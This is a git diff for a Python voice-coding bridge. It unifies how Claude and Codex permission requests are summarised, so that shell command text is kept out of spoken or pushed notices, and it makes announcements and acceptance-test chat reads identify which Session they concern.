diff --git a/pyproject.toml b/pyproject.toml index cf77f31..5fa5393 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -69,7 +69,13 @@ markers = [ # Test modules import the shared fakes bare (`from fakes import ...`); this pins that path. # The repository root is here for `app_bundle`, the build pipeline, which lives # outside `src/` on purpose: the product does not ship its own build system. -pythonpath = ["tests", "."] +# `tests/acceptance` is here so the *fast* suite can import the harness's own +# pure logic. The acceptance run itself never reaches CI — it needs this machine, +# these credentials and that bot — but a rule the harness applies to the chat is +# ordinary code, and #109 is what a rule with no test at CI speed costs. The +# import is safe from here: `journey` reaches only `support` and `hand_started`, +# and telethon lives behind `telegram_person`, which neither imports. +pythonpath = ["tests", "tests/acceptance", "."] [tool.ruff] src = ["src", "tests", "app_bundle"] diff --git a/src/gpt_voicecoding/adapters/agent/_summary.py b/src/gpt_voicecoding/adapters/agent/_summary.py new file mode 100644 index 0000000..857f3fa --- /dev/null +++ b/src/gpt_voicecoding/adapters/agent/_summary.py @@ -0,0 +1,59 @@ +"""The one readable line a permission request says about itself. One rule, both lanes. + +Each lane finds its own fields — Claude reads a tool call's input, Codex reads an +approval request's params — but **what a summary may contain** is not either +lane's business. It is a safety rule about text that gets read aloud into a Live +Call and pushed to a phone, and a safety rule that lived twice would be enforced +on one path and not the other. It already was: `stop_analysis.summarise` said in +as many words that it was "the **only** extractor of this field in the product", +and by then the Codex lane had its own, reading the shell command verbatim. + +Two halves, and both are `legacy@1d32845:bridge/transcript.py:1779-1790`, +*ported*: + +* **Description-class fields only.** The arguments proper — `command`, `content`, + `old_string` — are deliberately excluded. They are the code and shell text the + reference implementation always kept out, on the grounds that reading them + aloud is neither safe nor useful. Which fields *are* description-class is the + lane's, because only the lane knows what its far side writes for a human to + read; that they are the only ones is not. +* **Whole, or not at all.** Something over `SUMMARY_MAX_CHARS` is not the + one-line summary this reads for, so it is passed over rather than cut: half a + sentence read aloud says less than the tool's name does, and a cut lands + mid-secret as readily as mid-word. `_progress.bounded` follows the same rule + for a different unit. + +**Empty is an answer, and the honest one.** An input carrying none of these +fields summarises to nothing, and the announcement then names the tool and no +more, rather than describing an action from a guess. `ApprovalVerdict.ASK` is how +a user hands a dialog they cannot judge from that back to the screen. +""" + +from __future__ import annotations + +from collections.abc import Mapping, Sequence +from typing import Any, Final + +#: Longer than any description-class field as either product writes one. Ported +#: whole from `legacy@1d32845:bridge/transcript.py:1789`. +SUMMARY_MAX_CHARS: Final = 200 + + +def summarise(source: Any, fields: Sequence[str]) -> str: + """The first of `fields` that carries a short human-readable line, else nothing. + + `fields` is in preference order and is the lane's to choose; everything else + here is the shared rule. A field that is absent, is not a string, is empty + after stripping, or is longer than `SUMMARY_MAX_CHARS` is passed over and the + next is tried — over-length included, because it is passed over *whole*. + """ + if not isinstance(source, Mapping): + return "" + for field in fields: + value = source.get(field) + if not isinstance(value, str): + continue + summary = value.strip() + if summary and len(summary) <= SUMMARY_MAX_CHARS: + return summary + return "" diff --git a/src/gpt_voicecoding/adapters/agent/claude/stop_analysis.py b/src/gpt_voicecoding/adapters/agent/claude/stop_analysis.py index 29a81db..edacb81 100644 --- a/src/gpt_voicecoding/adapters/agent/claude/stop_analysis.py +++ b/src/gpt_voicecoding/adapters/agent/claude/stop_analysis.py @@ -43,6 +43,7 @@ from dataclasses import dataclass from typing import Any, Final +from gpt_voicecoding.adapters.agent import _summary from gpt_voicecoding.seams.agent import Option, WaitingFor, WaitingKind #: The one tool whose call is part of the visible conversation, and the only one @@ -56,20 +57,17 @@ #: this marker has no recommendation to report. RECOMMENDED_MARKER: Final = "(recommended)" -#: The input fields a permission request may be summarised from, in the order -#: they are preferred. Each is a short human-facing string the product already -#: writes for a person to read. The arguments proper — `command`, `content`, -#: `old_string` — are **deliberately absent**: they are the code and shell text -#: the reference implementation always excluded, and reading them aloud into a -#: Live Call or pushing them to a phone is neither safe nor useful -#: (`legacy@1d32845:bridge/transcript.py:1779-1790`). +#: The input fields a Claude permission request may be summarised from, in the +#: order they are preferred. Each is a short human-facing string the product +#: already writes for a person to read. The arguments proper — `command`, +#: `content`, `old_string` — are **deliberately absent**, and that rule lives in +#: `_summary` now rather than here: the Codex lane needs the same one, and while +#: it lived here that lane read the shell command verbatim. SUMMARY_FIELDS: Final = ("description", "file_path", "path", "notebook_path") -#: Longer than any of those fields as the product writes them. Something over -#: this is not the one-line summary this reads for, so it is passed over whole -#: rather than cut: half a sentence read aloud says less than the tool's name -#: does, and a cut lands mid-secret as readily as mid-word. -SUMMARY_MAX_CHARS: Final = 200 +#: Re-exported, not redefined. `_progress.bounded` cites this name for the rule +#: it follows, and `tests/test_progress_bound.py` holds the two together. +SUMMARY_MAX_CHARS: Final = _summary.SUMMARY_MAX_CHARS #: The wrappers Claude Code writes around the two local-command pipeline records, #: and the opening line of an expanded skill body. All three are `user` records @@ -116,27 +114,15 @@ def analyse(records: Sequence[Mapping[str, Any]]) -> WaitingFor: def summarise(tool_input: Any) -> str: - """The one readable thing a tool call says about itself, or nothing. + """The one readable thing a Claude tool call says about itself, or nothing. - P5, and the **only** extractor of this field in the product: the Approval - Relay builds its own `detail` with it (`approval.request_from`), so one safety - rule cannot be enforced on one path and not the other. - - Empty is the honest answer for an input carrying none of these fields — the - announcement then names the tool and nothing more, rather than describing an - action from a guess, and `ApprovalVerdict.ASK` is how the user hands a dialog - they cannot judge from that back to the screen in front of them. + P5. This lane's fields, the shared rule (`_summary`): description-class text + only, whole or not at all, and empty is an answer. The Approval Relay builds + its `detail` with this too (`approval.request_from`), so a rule enforced here + and not there would be no rule — which is exactly what the Codex lane's own + extractor turned out to be. """ - if not isinstance(tool_input, Mapping): - return "" - for field in SUMMARY_FIELDS: - value = tool_input.get(field) - if not isinstance(value, str): - continue - summary = value.strip() - if summary and len(summary) <= SUMMARY_MAX_CHARS: - return summary - return "" + return _summary.summarise(tool_input, SUMMARY_FIELDS) @dataclass(frozen=True, slots=True) diff --git a/src/gpt_voicecoding/adapters/agent/codex/approvals.py b/src/gpt_voicecoding/adapters/agent/codex/approvals.py index 3415983..95183de 100644 --- a/src/gpt_voicecoding/adapters/agent/codex/approvals.py +++ b/src/gpt_voicecoding/adapters/agent/codex/approvals.py @@ -29,17 +29,38 @@ from typing import Any +from gpt_voicecoding.adapters.agent import _summary from gpt_voicecoding.seams.agent import ApprovalRequest, ApprovalVerdict from gpt_voicecoding.seams.identity import SessionTarget #: The permission prompts this adapter consumes, and the tool name each is #: announced under. The legacy pair is absent on purpose — see the module note. +COMMAND_EXECUTION = "item/commandExecution/requestApproval" APPROVAL_METHODS: dict[str, str] = { - "item/commandExecution/requestApproval": "a shell command", + COMMAND_EXECUTION: "a shell command", "item/fileChange/requestApproval": "a file change", "item/permissions/requestApproval": "extra permissions", } +#: The `kind` a `commandExecution` approval carries when what is being approved +#: is **text typed into an already-running process** rather than a command being +#: started. Added at codex-cli 0.150.0 with `#[serde(default)] = "command"` for +#: older servers (`v2/item.rs:1495-1512`), so an absent `kind` is a command and +#: this lane still reads a 0.149.1 daemon correctly. Announced apart because +#: "a shell command" describes the parent it points at, not the stdin under +#: review, and a user answering by voice has only the sentence to go on +#: (`docs/research/2026-08-27-codex-0150-probe.md` § 4). +WRITE_STDIN = "writeStdin" +WRITE_STDIN_NAME = "input to a running command" + +#: The approval-params fields a Codex prompt may be summarised from. One field, +#: and `command` is **not** in it: `reason` is a sentence Codex writes for a human +#: to read, and the command is the shell text `_summary` exists to keep out of a +#: notice that is read aloud into a Live Call and pushed to a phone. Until #109 +#: this lane read `command` and the Claude lane did not, which is a safety rule +#: enforced on one path and not the other. +SUMMARY_FIELDS: tuple[str, ...] = ("reason",) + #: What each verdict answers on the wire. `ASK` is absent because it answers #: nothing at all; a mapping entry for it would be the denial this must never be. DECISIONS: dict[ApprovalVerdict, str] = { @@ -70,18 +91,49 @@ def voice_menu(available: Any) -> tuple[str, ...]: ) +def tool_name_for(method: str, params: dict[str, Any]) -> str: + """What the announcement calls the thing being approved. + + The method decides it, with one exception the method cannot express: a + `commandExecution` prompt whose `kind` is `writeStdin` is not a command being + started but text being fed to one already running, and it points at the + *parent* command's `itemId`. Announcing it as "a shell command" describes + something else that is genuinely happening, which is worse than vague. + """ + if method == COMMAND_EXECUTION and params.get("kind") == WRITE_STDIN: + return WRITE_STDIN_NAME + return APPROVAL_METHODS.get(method, method) + + def summary_of(method: str, params: dict[str, Any]) -> str: """One line describing what is waiting, taken from Codex's own words. - `reason` is a sentence Codex wrote for a human to read, so it is preferred - over anything assembled here; the command is the fallback because it is the - only other thing that says what is actually about to happen. + The shared rule (`adapters/agent/_summary`): description-class text only, + whole or not at all. `reason` is the one such field Codex offers — a sentence + it wrote for a human to read. + + **`command` used to be the fallback and is now excluded**, which is a + behaviour change and the point of it. It is shell text, and the reference + implementation kept exactly that out of a summary because reading it aloud is + neither safe nor useful (`legacy@1d32845:bridge/transcript.py:1779-1790`). + The Claude lane had always obeyed that rule; this one never had (#109). + + Naming the prompt is what is left when there is nothing readable to say. It + repeats the tool name, so `a file change — a file change` is what a prompt + with no `reason` reads as; the payload carries no path to do better with, and + that is recorded on #109 rather than papered over. + + Whitespace is collapsed **after** the ceiling is applied, not before, and + this lane collapses where the Claude one does not: Codex writes `reason` as + prose that can wrap, and a field that is over-long before collapsing is not + the one-line summary this reads for either way. Erring towards naming the + prompt is the safe direction; erring the other way is what reads a wrapped + paragraph into a Live Call. """ - for key in ("reason", "command"): - value = params.get(key) - if isinstance(value, str) and value.strip(): - return " ".join(value.split()) - return APPROVAL_METHODS.get(method, "a permission request") + summary = _summary.summarise(params, SUMMARY_FIELDS) + if summary: + return " ".join(summary.split()) + return tool_name_for(method, params) def approval_id_of(method: str, params: dict[str, Any]) -> str: @@ -102,7 +154,7 @@ def request_from(method: str, params: dict[str, Any], *, target: SessionTarget) return ApprovalRequest( approval_id=approval_id_of(method, params), target=target, - tool_name=APPROVAL_METHODS.get(method, method), + tool_name=tool_name_for(method, params), detail=summary_of(method, params), options=voice_menu(params.get("availableDecisions")), ) diff --git a/src/gpt_voicecoding/core/approvals.py b/src/gpt_voicecoding/core/approvals.py index 2a2cbee..c171783 100644 --- a/src/gpt_voicecoding/core/approvals.py +++ b/src/gpt_voicecoding/core/approvals.py @@ -41,6 +41,7 @@ from gpt_voicecoding.core.escalation import EscalationPipeline, Notice, Reach from gpt_voicecoding.core.lifecycle import Lifecycle from gpt_voicecoding.core.policy import CorePolicy +from gpt_voicecoding.core.sessions import spoken_target from gpt_voicecoding.seams.agent import AgentAdapter, ApprovalRequest, ApprovalVerdict from gpt_voicecoding.seams.delivery import Delivery from gpt_voicecoding.seams.identity import AgentKind, RequestId, new_request_id @@ -48,10 +49,31 @@ _log = logging.getLogger(__name__) -def announcement_for(request: ApprovalRequest) -> str: - """What the user is told is waiting. Names the tool, never guesses the answer.""" +def announcement_for(request: ApprovalRequest, spoken_as: str) -> str: + """What the user is told is waiting. Names the Session and the tool, never the answer. + + **`spoken_as` is the Session, said the way the user names it**, and it is a + required argument rather than an optional flourish. This sentence used to + open "a session is waiting…", which is the one thing the user cannot act on: + the bridge covers every Session on the machine, so on any real machine + several of them can be waiting at once, and this is the notice that carries a + budget and a `bridgectl approve` — the *most* answerable thing the product + says, and the only one that did not say which Session it was about (#109, + found on a run where a stranger's permission prompt was indistinguishable + from the lane's own). + + Bridge Core composes `spoken_as` at the call site from the same two lines + `stop_notice_for` uses — `spoken_name` where the Session is known, its + address as the floor — because "what to call it" has one answer + (`core/sessions.py`) and this is not a second one. + + Legacy: **ported**. `legacy@1d32845:bridge/host.py:213-235` rendered + `Session: {session_label}` above "This session is waiting for permission."; + gen-1 named the Session on its permission notice and the rewrite dropped it, + which is the class of loss ADR 0010 exists for. + """ detail = f" — {request.detail}" if request.detail.strip() else "" - return f"a session is waiting for your permission to use {request.tool_name}{detail}" + return f"{spoken_as} is waiting for your permission to use {request.tool_name}{detail}" #: What closes the loop when the adapter **proved** the verdict arrived, per @@ -150,13 +172,22 @@ def pending(self) -> tuple[PendingApproval, ...]: """Every request still inside its budget, in the order they arrived.""" return tuple(self._pending.values()) - async def opened(self, request: ApprovalRequest) -> PendingApproval: + async def opened( + self, request: ApprovalRequest, spoken_as: str | None = None + ) -> PendingApproval: """A dialog is on screen. Start the budget and announce it everywhere. The budget starts here and ticks regardless of whether any outlet took the announcement: the dialog is stalled either way, and a budget that only ran when someone was listening would never expire on the one path where the fallback matters most. + + `spoken_as` is what the announcement refers to the Session by (#109). It is the + caller's because the Session *registry* is not this pipeline's — the + dialog arrives as an `ApprovalRequest`, which carries a target and no + name — and it is optional because the address is a complete answer on its + own: `spoken_target` is the floor `spoken_name` itself falls back to, so + a caller with nothing better to say still names the Session. """ now = self._clock() waiting = PendingApproval( @@ -171,7 +202,7 @@ async def opened(self, request: ApprovalRequest) -> PendingApproval: Notice( request_id=waiting.request_id, target=request.target, - text=announcement_for(request), + text=announcement_for(request, spoken_as or spoken_target(request.target)), ), reach=Reach.EVERY_OUTLET, ) diff --git a/src/gpt_voicecoding/core/bridge.py b/src/gpt_voicecoding/core/bridge.py index eeb1523..2af57be 100644 --- a/src/gpt_voicecoding/core/bridge.py +++ b/src/gpt_voicecoding/core/bridge.py @@ -117,10 +117,21 @@ def stop_notice_for( """ stopped_on = _stopped_on(waiting_for) if waiting_for is not None else "" tail = f" — {stopped_on}" if stopped_on else "" - # What to call it is `core/sessions.py`'s answer, and its floor is the - # address: a notice that names nothing is a notice the user cannot answer. - called = spoken_name(session) if session is not None else spoken_target(target) - return f"{called} stopped and may need you{tail}" + return f"{spoken_reference(session, target)} stopped and may need you{tail}" + + +def spoken_reference(session: Session | None, target: SessionTarget) -> str: + """The string a notice refers to this Session by — its name, else its address. + + Third of the `spoken_*` family and the one that chooses between the other + two: what to call a Session is `core/sessions.py`'s answer, and its floor is + the address, because a notice that names nothing is a notice the user cannot + answer. Both notices Bridge Core composes ask this question — the Stop Notice + and, since #109, the Approval Relay's announcement — so it is one expression + rather than the same line twice, which is how one of them came to have it and + the other not. + """ + return spoken_name(session) if session is not None else spoken_target(target) def _state_behind(window: ReplyWindow, held: SessionState) -> SessionState: @@ -532,7 +543,7 @@ async def dispatch(self, event: Event) -> None: case SessionEnded(): await self._session_ended(event) case AwaitingApproval(): - await self.approvals.opened(event.request) + await self.approvals.opened(event.request, self._spoken_as(event.request.target)) case ReplyWindowChanged(): await self._reply_window_changed(event) case RelayReceipt(): @@ -725,3 +736,7 @@ def _known(self, target: SessionTarget) -> Session | None: return self._state.sessions.resolve(target) except BridgeCoreError: return None + + def _spoken_as(self, target: SessionTarget) -> str: + """What a notice refers to this Session by, whether or not the roster knows it.""" + return spoken_reference(self._known(target), target) diff --git a/tests/acceptance/journey.py b/tests/acceptance/journey.py index ab54814..e11c9dd 100644 --- a/tests/acceptance/journey.py +++ b/tests/acceptance/journey.py @@ -28,6 +28,26 @@ a pty interleaves to roughly one glyph per line once escapes are stripped. The raw stream is kept as an artifact for a human; nothing parses it. +## What a step may attribute to itself + +The engine this run spawns bridges **every** Session on the machine, so the chat +is a shared surface: at any moment it may carry a notice about somebody's open +work that has nothing to do with the lane being walked. The rule that follows +from that is one line, and it is stated here so no step has to relearn it — + +> **A step only ever attributes what names its own target.** + +Every chat read in this module goes through `Walk._await_message_naming`, which +is where the rule is enforced; `_naming_forms` is what "names" means. That +includes the two reads that assert *absence*, where an unattributed message is a +false red rather than a false green, and `drain_boot_notice`, which is neither — +a stranger's notice accepted there ends the drain early and lets the real boot +notice land where `stop notice` is looking. Learned on run `20260826T213402Z`, where +`stop notice` passed on a permission prompt belonging to a stale `/tmp/vcprobe` +thread, and on a quieter machine would have failed for a reason equally +unrelated to the lane (#109). The sibling lesson had already been learned once, +one method over, for `pending_approvals` (`_answer_pending_approval`). + ## The turns, and why there are five A step that needs a turn drives its own, because a turn shared between steps @@ -49,14 +69,21 @@ import os import re import time -from collections.abc import Callable +from collections.abc import Callable, Sequence from dataclasses import dataclass from pathlib import Path +from typing import TYPE_CHECKING import hand_started import support from support import LaneBlocked, StepFailed +if TYPE_CHECKING: + # Named for a type and never imported at runtime: telethon lives behind this + # module (`telegram_person.py`, "Telethon lives here and nowhere else"), and + # the fast suite imports this file to test its attribution rule without it. + import telegram_person + #: The nine steps, in the order #73 fixed. Cited verbatim by #74–#80. STEPS = ( "roster", @@ -100,9 +127,11 @@ #: is exactly the question it is asking. ENGINE_STOP_LINE = r"(?i)Session stopped:" -#: What the escalated permission announcement says (`core/approvals.py:43-46`). +#: What the escalated permission announcement says (`core/approvals.py:52-76`). #: Matched rather than quoted whole: the tool name and the detail are the agent's, -#: and this run does not get to predict them. +#: and this run does not get to predict them. **Which Session it is about is not +#: this pattern's business either** — the sentence opens with the Session's name +#: since #109, and the attribution rule is what reads it. APPROVAL_ANNOUNCEMENT = re.compile(r"waiting for your permission to use", re.IGNORECASE) @@ -561,12 +590,31 @@ def drain_boot_notice(self, mark: int | None) -> None: (`adapters/agent/codex/adapter.py:965-985`). An engine that first saw this thread already idle raised nothing for the boot turn, and there is nothing to drain — which is also the case that pays the full window. + + **It reads the chat, so it obeys the attribution rule** (#109), and here + that is load-bearing rather than tidy. A stranger's notice taken as the + boot turn's would end this wait early and leave the *real* boot notice + still in flight, to land after `stable name`'s mark — re-creating exactly + the false green this drain exists to prevent, and writing a sentence about + someone else's Session into the verdict on the way. This is the one chat + read that runs before `roster`, so the naming forms may come from the + agent's own record rather than the roster row (`_own_row`). """ if mark is None or self.boot_turn is None: return - arrived = self.person.await_message( - mark, deadline_seconds=self.far_side.telegram_round_trip_seconds - ) + try: + arrived = self._await_own_message( + mark, deadline_seconds=self.far_side.telegram_round_trip_seconds + ) + except StepFailed as unattributable: + # Arrangement, not judgement: this method has no step to fail. A lane + # whose messages cannot be told from another Session's is a lane none + # of the nine steps could read either, so it is blocked here rather + # than walked into nine reds with one cause. + raise LaneBlocked( + f"the boot turn's notice could not be attributed, and neither could anything " + f"a later step reads: {unattributable}" + ) from unattributable announced = support.matching_lines(self.engine.log_lines(), ENGINE_STOP_LINE) boot = self.lane.boot assert boot is not None # there is no mark to spend without one @@ -576,7 +624,8 @@ def drain_boot_notice(self, mark: int | None) -> None: f"`stable name` types anyway — because a non-empty prompt is what skips Codex's " f"update gate (#110). Waited out on Codex's own `task_started`/`task_complete` " f"bracketing, with every outlet still off: {self.boot_turn.seconds:.1f}s. Its Stop " - f"Notice was then drained behind chat mark {mark} so that nothing after " + f"Notice was then drained behind chat mark {mark} — only a message naming this " + f"Session counting as it (#109) — so that nothing after " f"`stable name`'s later mark can be it: " + ( f"chat message {arrived.id} ({arrived.text[:80]!r})" @@ -781,18 +830,24 @@ def stop_notice(self) -> str: flattened sentence. What can be checked from the chat is that a message arrived for that Stop and that it is not empty; whether it carries the typed `WaitingFor` is #75's own exit and is read off the payload. + + **The message has to name this Session**, which is the module's + attribution rule and not a nicety of this step: until #109 this took the + next bot message after its mark, and on run `20260826T213402Z` that was a + stranger's permission prompt. """ if self.before_first_turn is None: raise LaneBlocked("no turn was driven, so no Stop was crossed to be announced") - message = self.person.await_message( + message = self._await_own_message( self.before_first_turn, deadline_seconds=self.far_side.telegram_round_trip_seconds ) stop_lines = support.matching_lines(self.engine.log_lines(), r"(?i)stop|SessionStopped") if message is None: raise StepFailed( - f"no message reached the chat within " - f"{self.far_side.telegram_round_trip_seconds:.0f}s of the turn ending; " - f"engine.log stop lines: {stop_lines[-3:] or 'none'}" + f"no message naming {self.address} reached the chat within " + f"{self.far_side.telegram_round_trip_seconds:.0f}s of the turn ending. The bot " + f"said {self._other_traffic(self.before_first_turn)} in that window, none of it " + f"about this Session; engine.log stop lines: {stop_lines[-3:] or 'none'}" ) if not message.text.strip(): raise StepFailed(f"the Stop reached the chat as an empty message ({message.id})") @@ -812,8 +867,8 @@ def stop_notice(self) -> str: f"this engine's own Stop" ) return ( - f"bot message {message.id}: {message.text!r}; roster waiting_for kind {kind!r}; " - f"engine.log: {stop_lines[-1]!r}" + f"bot message {message.id}, naming this Session: {message.text!r}; roster " + f"waiting_for kind {kind!r}; engine.log: {stop_lines[-1]!r}" ) # --- relay ------------------------------------------------------------ @@ -958,6 +1013,13 @@ def switches(self) -> str: is what makes a Session still actionable when Duty comes back on. Two observations: silence over a derived window with Duty off, and — with Duty back on — a notice naming this Session. + + Both observations are about *this* Session, under the module's + attribution rule. The silence one is where that matters most and reads + least obviously: Duty is a global switch, so a stranger's notice arriving + with Duty off would be a real product bug — but it would be a bug about + somebody else's Session, and failing this lane on it is the mirror image + of the #109 pass. """ if self.address is None: raise LaneBlocked("no Session to watch the switches over") @@ -970,20 +1032,21 @@ def switches(self) -> str: status = self.bridgectl("status") if not status.ok: raise StepFailed(f"with Duty off, `status` refused: {status.text}") - intruder = self.person.await_message( + intruder = self._await_own_message( mark, deadline_seconds=self.far_side.absence_window_seconds ) if intruder is not None: self.bridgectl("switch", "duty", "on") raise StepFailed( - f"with Duty off a message still reached the chat: {intruder.id} {intruder.text!r}" + f"with Duty off a message about this Session still reached the chat: " + f"{intruder.id} {intruder.text!r}" ) mark = self.person.latest_message_id() back_on = self.bridgectl("switch", "duty", "on") if not back_on.ok: raise StepFailed(f"`switch duty on` refused: {back_on.text}") - reconciled = self.person.await_message( + reconciled = self._await_own_message( mark, deadline_seconds=self.far_side.telegram_round_trip_seconds ) if reconciled is None: @@ -992,7 +1055,8 @@ def switches(self) -> str: f"Duty off held silence for {self.far_side.absence_window_seconds:.0f}s " f"(correct), but turning Duty back on reported nothing about a Session that " f"stopped waiting on the user (turn ended={turn.ended}, " - f"roster waiting_for {waiting!r})" + f"roster waiting_for {waiting!r}). The bot said " + f"{self._other_traffic(mark)} in that window, none of it about this Session" ) return ( f"Duty off: nothing pushed in {self.far_side.absence_window_seconds:.0f}s, `status` " @@ -1011,6 +1075,14 @@ def child(self) -> str: claim about a source the official roster does not serve, and the product has to find it another way — which is what makes this #79's work rather than a formality. + + **"Never announced" is a claim about the child**, so the module's + attribution rule is applied to the *child's* names here, not the parent's + — the one place in this walk where the target of a read is not the + Session under test. It has to be: the parent's own turn ends inside this + step's window, and the parent's Stop Notice is the product working. A + read that took the next bot message would have called that notice the + child's and failed #79 for the one thing #79 does not forbid. """ if self.address is None: raise LaneBlocked("no parent Session to hang a child from") @@ -1034,9 +1106,10 @@ def child(self) -> str: f"#74 locks `ChildClassification` and #79 fills it." ) child_row = children[0] + child_address = _address_of(child_row) parent = child_row["child"].get("parent") if not parent: - raise StepFailed(f"the child row {_address_of(child_row)} names no parent") + raise StepFailed(f"the child row {child_address} names no parent") # "Listed **under its parent**" is the claim, and any non-empty parent # satisfied it before — including one naming some other Session, which is # precisely the bug a roster of several Sessions would produce and a @@ -1044,19 +1117,21 @@ def child(self) -> str: parent_address = _address_of({"target": parent}) if parent_address != self.address: raise StepFailed( - f"the child row {_address_of(child_row)} is listed under {parent_address}, not " + f"the child row {child_address} is listed under {parent_address}, not " f"under the Session that started it ({self.address})" ) - announced = self.person.await_message( - mark, deadline_seconds=self.far_side.absence_window_seconds + announced = self._await_message_naming( + child_row, + mark, + deadline_seconds=self.far_side.absence_window_seconds, + whose=f"the child {child_address}", ) if announced is not None: raise StepFailed( f"a child raised a Stop Notice: message {announced.id} {announced.text!r} — " f"#79: children are seen, never announced" ) - child_address = _address_of(child_row) refused = self.bridgectl("relay", child_address, "this must be refused") if refused.ok: raise StepFailed( @@ -1074,7 +1149,7 @@ def child(self) -> str: f"the child rule being applied" ) return ( - f"{_address_of(child_row)} listed under {support.flatten([parent])}; no notice in " + f"{child_address} listed under {support.flatten([parent])}; no notice naming it in " f"{self.far_side.absence_window_seconds:.0f}s; relay refused: {refused.text!r}" ) @@ -1155,6 +1230,117 @@ def _name_now(self) -> str | None: name = row.get("name") return str(name) if name else None + def _own_row(self) -> dict: + """The roster's row for the Session under test, or the agent's own account of it. + + The engine is not the only thing that knows which Session this is, and + the walk reads the chat before `roster` has established that it does: + `drain_boot_notice` runs seconds after the launch turn (#110), where the + engine's discovery may not have listed the Session yet — `roster` itself + allows it `DISCOVERY_SECONDS` to. + + Ground truth is the fallback and it is not a weaker one for this + question. A Session the engine holds no Session Name for is announced by + its address (`core/sessions.py:529-546`), and the address is exactly what + the agent's own record gives. `{}` — no roster row and no ground truth — + is the honest empty answer, and `_await_message_naming` refuses on it. + """ + row = self._roster_row() + if row is not None: + return row + if self.truth is None: + return {} + return { + "target": { + "agent": self.lane.agent, + "session_id": self.truth.session_id or None, + "pid": self.truth.pid, + }, + "name": None, + } + + def _await_message_naming( + self, + row: dict | None, + mark: int, + *, + deadline_seconds: float, + whose: str, + matching: Callable[..., bool] | None = None, + ) -> telegram_person.PersonMessage | None: + """Wait for a bot message that names *that* Session, and never any other. + + The one door every chat read in this walk goes through — the module's + attribution rule, enforced. `None` stays a legitimate answer, because two + of this walk's reads assert an absence. + + `matching` narrows what a caller will take **on top of** the rule, never + instead of it: it is `and`-ed, so no caller can widen its way back to the + message that made #109. + + The naming forms are resolved **once**, before the wait, and not inside + the predicate: they come off the control plane, and re-deriving them per + message per poll would ask the engine for the roster a hundred times over + a two-minute absence window. + """ + forms = _naming_forms(row or {}) + if not forms: + # Nothing to attribute *with*. Louder than a silent `None`, which two + # of the three callers would read as the absence they wanted. + raise StepFailed( + f"nothing in the roster names {whose}, so no message in the chat could be " + f"attributed to it either way: the row is {row!r}" + ) + shared = _indistinguishable_from(forms, self._roster_rows(), _address_of(row or {})) + if shared is not None: + raise StepFailed( + f"{whose} is named {list(forms)}, and so is {shared} — a message naming one " + f"names both, so this run cannot attribute anything in the chat to either" + ) + self.journal("chat.attribution", lane=self.lane.name, whose=whose, names=list(forms)) + return self.person.await_message( + mark, + deadline_seconds=deadline_seconds, + matching=lambda seen: ( + seen.from_bot + and _named_in(seen.text, forms) + and (matching is None or matching(seen)) + ), + ) + + def _await_own_message( + self, + mark: int, + *, + deadline_seconds: float, + matching: Callable[..., bool] | None = None, + ) -> telegram_person.PersonMessage | None: + """The same, for the Session this walk is walking.""" + row = self._own_row() + return self._await_message_naming( + row, + mark, + deadline_seconds=deadline_seconds, + # `roster` is what sets `self.address`, and one caller runs before it + # (`drain_boot_notice`), so the row says who this is when it cannot. + whose=f"the Session under test ({self.address or _address_of(row)})", + matching=matching, + ) + + def _other_traffic(self, mark: int) -> str: + """What else the bot said in the window, for a human reading a red step. + + A step that failed to find its own message is worth telling apart from a + step that found nothing at all, and on a machine the bridge covers wholly + those are different situations with different causes. + """ + others = [ + f"{message.id}: {message.text!r}" + for message in self.person.messages_after(mark) + if message.from_bot + ] + return support.flatten(others) if others else "nothing" + def _record_now(self) -> Path | None: """Where the agent's own record of this Session is, at this moment.""" if self.truth is None: @@ -1224,6 +1410,15 @@ def _answer_pending_approval(self, mark: int) -> str | None: command approved by the harness and this lane's Write answered four minutes late, which failed `relay` and `companion inbound` downstream. The address is the filter, exactly as it is everywhere else here. + + **And the announcement it waits for is filtered the same way** (#109). + Filtering the dialog and then taking any Session's announcement as proof + that this one reached the Companion Channel is the same defect one clause + later: on a machine bridging six Sessions the round trip could read green + while this lane's own announcement never went out. That the check is + possible at all is a product change #109 made — until then the + announcement named the tool and never the Session + (`core/approvals.py:52-76`). """ deadline = time.monotonic() + self.far_side.agent_turn_seconds while time.monotonic() < deadline: @@ -1234,12 +1429,10 @@ def _answer_pending_approval(self, mark: int) -> str | None: if _address_of(waiting) == self.address ] if pending: - announced = self.person.await_message( + announced = self._await_own_message( mark, deadline_seconds=self.far_side.telegram_round_trip_seconds, - matching=lambda seen: ( - seen.from_bot and bool(APPROVAL_ANNOUNCEMENT.search(seen.text)) - ), + matching=lambda seen: bool(APPROVAL_ANNOUNCEMENT.search(seen.text)), ) approval_id = str(pending[0]["approval_id"]) answer = self.bridgectl("approve", approval_id, "allow") @@ -1282,3 +1475,83 @@ def _address_of(row: dict) -> str: pid = target.get("pid") tail = f":{pid}" if pid else "" return f"{target.get('agent')}:{target.get('session_id')}{tail}" + + +def _naming_forms(row: dict) -> tuple[str, ...]: + """Every string the product would name one Session by, from its roster row. + + Mirrors `core/sessions.py:529-546` rather than importing it: a harness that + asked the product what it had said would agree with the product by + construction, and the whole point of reading the chat is that it might not. + + Both forms are kept because the product chooses between them by what it holds + *at the moment it speaks* — `spoken_name` where the Session has a Session + Name, `spoken_target` where it does not — and the roster read that answers + this question is a different moment from the one the message was composed in. + A Codex Session, in particular, has no name until its first turn. + """ + target = row.get("target") + target = target if isinstance(target, dict) else {} + forms: list[str] = [] + name = row.get("name") + if name: + forms.append(str(name)) + agent = target.get("agent") + session_id = target.get("session_id") + pid = target.get("pid") + if agent and session_id: + forms.append(f"{agent} {session_id}") + elif agent and pid: + forms.append(f"{agent} pid {pid}") + return tuple(forms) + + +def _named_in(text: str, forms: Sequence[str]) -> bool: + """Does this message name one of these Sessions? The attribution rule's whole test. + + Substring, not equality: the product's own words wrap the name in a sentence + it composes (`core/bridge.py:107-120`, `core/approvals.py:52-76`), and which + sentence is the product's business rather than this harness's. + """ + return any(form in text for form in forms) + + +def _indistinguishable_from(forms: Sequence[str], rows: Sequence[dict], mine: str) -> str | None: + """Another Session in the roster that a message naming *this* one would also name. + + A Session Name is ` · ` and **nothing makes it unique** + (`adapters/agent/_naming.py:39-62` composes it from a project and a task and + checks neither against the other rows). So two Sessions on one machine can be + called the same thing, and the product already knows it: `match_name` refuses + with `AmbiguousNameError` rather than picking one of them + (`core/sessions.py:456-463`). This is that same fact, met from the chat. + + **The pair it is not is a Child Process and its parent.** A child carries no + Session Name at all — `core/sessions.py:225` keeps `name` for main Sessions + and gives a child `None` — so its only naming form is its address, which is + unique by construction. The `child` step is therefore safe from this by + 